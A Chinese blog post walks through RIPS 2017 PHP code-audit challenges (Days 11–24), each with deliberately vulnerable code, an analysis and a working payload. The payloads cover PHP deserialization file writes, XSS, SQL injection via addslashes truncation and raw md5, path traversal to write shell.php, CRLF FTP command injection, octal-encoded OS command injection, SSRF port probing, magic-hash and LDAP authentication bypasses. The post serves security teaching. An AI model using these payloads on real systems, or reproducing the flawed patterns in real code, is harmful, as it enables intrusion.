PHP代码审计(二)

RIPS Technologies2017代码审计的第二篇。

Day 11 - Pumpkin Pie

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

漏洞分析

代码中需要修改的一点:正则/O:\d:\/改为/O:\d:/

代码中存在反序列化的点,但反序列化前进行了过滤,开头的前两位必须不为O:8,并且不许存在O:数字:这样的序列化数据存在。先说一下这样过滤的意义,在php的序列化数据中,a代表array,s代表string,b代表bool,而数字代表个数/长度,o代表一个对象。因此这样就无法对已经序列化的对象进行反序列化,从而预防了任意对象反序列化的危害。

但是对于第一个过滤,可以采用数组的方式绕过,测试如下:

1
2
3
$test=array("user"=>1,"pass"=>1);
echo var_dump(serialize($test));
#string'a : 2 :{s : 4 : "user" ; i : 1 ; s : 4 : "pass" ; i : 1 ;}

对于第二个过滤规则,只需要在对象长度前添加一个+号,原理参考如下文章:

1
https://www.phpbug.cn/archives/32.html

漏洞验证

payload:

1
2
3
4
5
6
7
8
9
class Template {
public $cacheFile = '/var/www/html/config.php';
public $template = '<?php phpinfo();?>';
}
$mytemp = new Template();
$myarray = array('name'=>'test',$mytemp);
$myarray = serialize($myarray);
var_dump($myarray);
#a:2:{s:4:"name";s:4:"test";i:0;O:8:"Template":2:{s:9:"cacheFile";s:22:"/var/www/html/info.php";s:8:"template";s:16:"<?php phpinfo();";}}

需要将0:8变为0:+8

Day 12 - String Lights

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";

漏洞分析

代码中对输入的字符进行处理后最终反馈到前端页面上,其中对value进行了intval处理,但忽略了对key的处理,接下来重要的就是要绕过htmlentities,手册上解释如下:

1
2
3
4
htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) : string
本函数各方面都和 htmlspecialchars() 一样, 除了 htmlentities() 会转换所有具有 HTML 实体的字符。

如果要解码(反向操作),可以使用 html_entity_decode()。

htmlentities默认情况下不会对单引号进行转义。

漏洞验证

payload:

1
a%27onclick%3Dalert%281%29%2f%2f=1

Day 13 - Turkey Baster

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

漏洞分析

代码中通过addslashes函数试图阻止sql危害的产生,函数解释如下:

1
2
addslashes ( string $str ) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

代码中对所输入的长度进行了最长为20的限制,利用这个限制,我们可以构造经过转义后长度大于20的字符串,经过substr函数的截断,逃逸出\,测试如下:

1
2
3
4
php > var_dump(substr(addslashes("123456789123456789'"),0,20));
string(20) "123456789123456789\'"
php > var_dump(substr(addslashes("1234567890123456789'"),0,20));
string(20) "1234567890123456789\"

漏洞验证

构造如下paylod:

1
user=1234567890123456789'&passwd=or 1=1#

最终在where语句处查询的最终表达式为:

1
user = '1234567890123456789\' AND password = 'or 1=1#'

返回结构始终为true。

Day 14 - Snowman

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

漏洞分析

foreach处存在明显的变量覆盖漏洞,因此写入文件的名称以及路径完全可控。

代码中因使用了var_export对对象数组进行了处理,会获取示例的所有的属性,那么我们就可以构造属性进行写入。参数含义如下:

1
2
3
var_export ( mixed $expression [, bool $return ] ) : mixed
此函数返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的表示是合法的 PHP 代码。
您可以通过将函数的第二个参数设置为 TRUE,从而返回变量的表示。

漏洞验证

payload:

1
id=../../var/www/html/test/shell.php&t1=1%22%3C%3Fphp%20phpinfo%28%29%3F%3E%224

Day 15 - Sleigh Ride

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
private $websiteHost = 'www.example.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}

漏洞分析

代码处理自身的url路径来得到下一步需要跳转的url,通过explode函数分割url,再通过end函数得到最后一个文件的路径。可以做以下测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
php > var_dump(explode('/', 'http://www.test.com/index.php'));
array(4) {
[0]=>
string(5) "http:"
[1]=>
string(0) ""
[2]=>
string(12) "www.test.com"
[3]=>
string(9) "index.php"
}
php > var_dump(explode('/', 'http://www.test.com/www.hacker.com'));
array(4) {
[0]=>
string(5) "http:"
[1]=>
string(0) ""
[2]=>
string(12) "www.test.com"
[3]=>
string(14) "www.hacker.com"
}

因此跳转的路径是可控的,但这样还不能进行跳转,需要加上http协议。

漏洞验证

当对目标的url进行一次编码时会报错,需要进行两次url编码。进行二次编码之后,index.php/http%253A%252f%252fwww.vulnspy.com?redirect=1,经过$baseFile = end($parts);得到的就是http%3A%2f%2fwww.vulnspy.com。最后进入到$url = urldecode($url);header("Location: $url");,最终跳转的目录就是http://www.vulnspy.com?,这样就可以完成任意网站的跳转了。

Day 16 - Poem

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
public $sock;

public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);

$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}

public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}

public function send($data) {
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');

漏洞分析

代码中cleanInput函数对输入的参数进行了intval处理,但这样依然无法改变$_REQUEST所获取的参数值,因为$_REQUEST是直接从GET,POST 和 COOKIE中取值,不是他们的引用。即使后续GET,POST 和 COOKIE发生了变化,也不会影响$_REQUEST的结果。测试如下(test.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FTP {

public function __construct() {
$this->cleanInput();
var_dump($_GET);
var_dump($_REQUEST);
}
private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}
}

new FTP();
?>

结果如下:

1
array(1) { ["id"]=> int(1) } array(1) { ["id"]=> string(5) "1test" }

代码中比较mode时使用了弱比较,可以很轻易绕过造成任意文件删除。

漏洞验证

payload:

1
mode=1%0a%0dDELETE%20test.file

Day 17 - Mistletoe

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

漏洞分析

乍一看这段代码与Day 13 - Turkey Baster上的代码类似,但没有了字符串的截断操作,但是在对密码加密处看到调用了md5函数,并还有类一个选项为true,看一下官方手册:

1
2
3
4
5
6
md5 ( string $str [, bool $raw_output = FALSE ] ) : string
使用 » RSA 数据安全公司的 MD5 报文算法计算 str 的 MD5 散列值。
str
原始字符串。
raw_output
如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

本地测试:

1
2
var_dump(md5(128, true));
res:string(16) "v�an���l���q��\"

漏洞验证

可见经过md5(str, true)的转换,最后一位会产生反斜杠,造成单引号逃逸,payload:

1
passwd=128&user=' or 1%23

Day 18 - Sign

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

漏洞分析

本题目的问题是在于openssl_verify()的错误使用,根据php手册说明:

1
2
3
openssl_verify ( string $data , string $signature , mixed $pub_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] ) : int
openssl_verify() 使用与pub_key_id关联的公钥验证指定数据data的签名signature是否正确。这必须是与用于签名的私钥相对应的公钥。
如果签名正确返回 1, 签名错误返回 0, 内部发生错误则返回-1.

但是在if判断中得到的结果是True,if判断只有遇到0或者是false返回的才是false。所以如果能够使得openssl_verify()出错返回-1就能够绕过验证。

漏洞验证

如果让openssl_verify()出错呢?我们使用一个其他的pub_key.pem来生成datasignature,这样就可以使得openssl_verify()返回-1。在本题中既然已经知道了openssl_verify()返回结果,我们可以使用if(openssl_verify()===1)来避免被绕过。

Day 19 - Birch

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
private $file;

function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}

function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert $this->file --resize $e
./thumbs/$this->file");
}

function __toString() {
return "<a href=$this->file>
<img src=./thumbs/$this->file></a>";
}
}

echo (new ImageViewer("image.png"));

漏洞分析

代码中唯一可控的点为size,但是经过了preg_replace的替换,非0-9\都将替换为空,在system函数出不太好进行命令执行,但之后又经过了stripcslashes函数的处理,。首先来看一下stripcslashes函数的作用:

1
2
stripcslashes ( string $str ) : string
返回反转义后的字符串。可识别类似 C 语言的 \n,\r,... 八进制以及十六进制的描述。

测试如下:

1
2
php > var_dump(stripcslashes('0\073\163\154\145\145\160\0405\073'));
string(10) "0;sleep 5;"

漏洞验证

通过上面的测试,发现stripcslashes刚好把八进制转为了字符串,输入中又没有存在字母的情况,payload为:

1
0\073\163\154\145\145\160\0405\073

那么最终能够执行的命令就是:

1
/usr/bin/convert images/image.png --resize 0;sleep 5; ./thumbs/image.png

Day 20 - Stocking

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}

try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}

return '<img src="' . $path . '" width="100"/>';
}
}

echo (new ImageLoader())->getResult($_GET['img']);

漏洞分析

本题目的是问题是在于提供了错误显示,这样就导致可以根据错误信息推断服务器上面的信息,类似于MYSQL中的报错注入。而在本题中则是存在一个SSRF漏洞。分析代码,在代码的最前方有:set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0, $no, $file, $line);}, E_ALL);这个就类似于设置如下的代码:error_reporting(E_ALL);ini_set('display_errors', TRUE);ini_set('display_startup_errors', TRUE);,如此就会包含所有的错误信息。

错误的显示配置加上'There was an error: ' .$e->getMessage() . ''就导致会在页面上显示所有的信息,包括warning信息。

漏洞验证

正常情况下,如果使用file_get_contents('http://127.0.0.1:80')显示的仅仅只是warning信息,在正常的PHP页面中是不会显示warning信息的。但是在开启了上述的配置之后,所有的信息都会在页面上显示。这样就导致我们可以通过SSRF来探测内网的端口和服务了。例如:

  1. payload可以写为:img=http://127.0.0.1:22,如果出现了There was an error: file_get_contents(http://127.0.0.1:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2,则表示存在openssh的服务。
  2. payload为img=http://127.0.0.1:25,如果出现了There was an error: file_get_contents(http://127.0.0.1:25): failed to open stream: HTTP request failed! 220 ubuntu ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Tue, 26 Dec 2017 07:43:45 -0800; (No UCE/UBE) logging access from: localhost则表示存在SMTP。
  3. 如果通过payload访问不存在的端口,img=http://127.0.0.1:30,出现了There was an error: file_get_contents(http://127.0.0.1:30): failed to open stream: Connection refused,则表明30端口没有服务。

所以通过这种方式就能够有效地探测内网端口服务了。

Day 21 - Gift Wrap

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
private $validIndices = [];

private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};

try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}

return $this->validIndices;
}

public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

漏洞分析

这是一道在运行在php7上的题目,题目本上的考察点比较少见,主要是利用了array_walk()的一个bug。php是一个弱类型的语言,在传入参数时并不会进行类型检查,甚至有时候还会进行隐式类型转换,很多时候由于开发人员的疏忽就会导致漏洞产生。在php7中就引入了declare(strict_types=1);这种声明方式,在进行函数调用的时候会进行参数类型检查。如果参数类型不匹配则函数不会被调用,这种方式就和诸如Java这类强类型的语言就是一样的了。如下:

1
2
3
4
5
6
7
8
declare(strict_types=1);
function addnum(int $a,int $b) {
return $a+$b;
}
$result = addnum(1,2);
var_dump($result); // 输出3
$result = addnum('1','2');
var_dump($result); //出现Fatal error: Uncaught TypeError,Argument 1 passed to addnum() must be of the type integer, string given,程序出错,参数的数据类型不匹配

按照php7的这种类型,那么最后通过validate()函数的就只有参数是大于0的,这样看来本题目是没有问题的。但是本题的关键是在于使用了array_walk()来调用validate函数。通过array_walk()调用的函数会忽略掉严格模式还是按照之前的php的类型转换的方式调用函数。。如下:

1
2
3
4
5
6
7
declare(strict_types=1);
function addnum(int &$value) {
$value = $value+1;
}
$input = array('3a','4b');
array_walk($input,addnum);
var_dump($input);

最后得到的input数组是array(4,5),所以说明了在使用array_walk()会忽略掉类型检查。

漏洞验证

那么在本题目中,由于array_walk()的这种特性,导致我们可以传入任意字符进去,从而也可以造成命令执行了。最后的payload可以是?p[1]=1&p[2]=2;%20ls%20-la

Day 22 - Chimney

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}

漏洞分析

存在若比较,并且以0e开头的md5值,只需要找到其他0e开头的hash即可验证通过。

漏洞验证

payload:

1
hash=s878926199a

Day 23 - Cookies

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LDAPAuthenticator {
public $conn;
public $host;

function __construct($host = "localhost") {
$this->host = $host;
}

function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}

漏洞分析

本题主要是ldap的登录验证的代码,但是由于过滤函数使用不当而导致的任意用户登录的漏洞。

在题目中使用的过滤函数是ldap_escape($user, null, LDAP_ESCAPE_DN)。php手册上对第三个参数的说明如下:

1
2
3
4
5
6
7
8
9
10
11
ldap_escape ( string $value [, string $ignore = "" [, int $flags = 0 ]] ) : string
Escapes value for use in the context implied by flags.
参数 ¶
value
The value to escape.

ignore
Characters to ignore when escaping.

flags
The context the escaped string will be used in: LDAP_ESCAPE_FILTER for filters to be used with ldap_search(), or LDAP_ESCAPE_DN for DNs. If neither flag is passed, all chars are escaped.

当使用ldap_search()时需要选择LDAP_ESCAPE_FILTER过滤字符串,但是本题中选择的是LDAP_ESCAPE_DN,这样就导致过滤无效。

漏洞验证

1
u=*&p=123456

Day 24 - Nutcracker

漏洞代码

1
2
3
4
5
6
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));

这道题目是Hack.lu CTF 2014: Next Global Backdoor上的一道题目,具体的解答可以看Hack.lu CTF 2014: Next Global Backdoor,也有一篇中文文章的介绍Hack.lu 2014 Writeup

Author: Sys71m
Link: https://www.sys71m.top/2020/02/14/PHP代码审计(二)/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.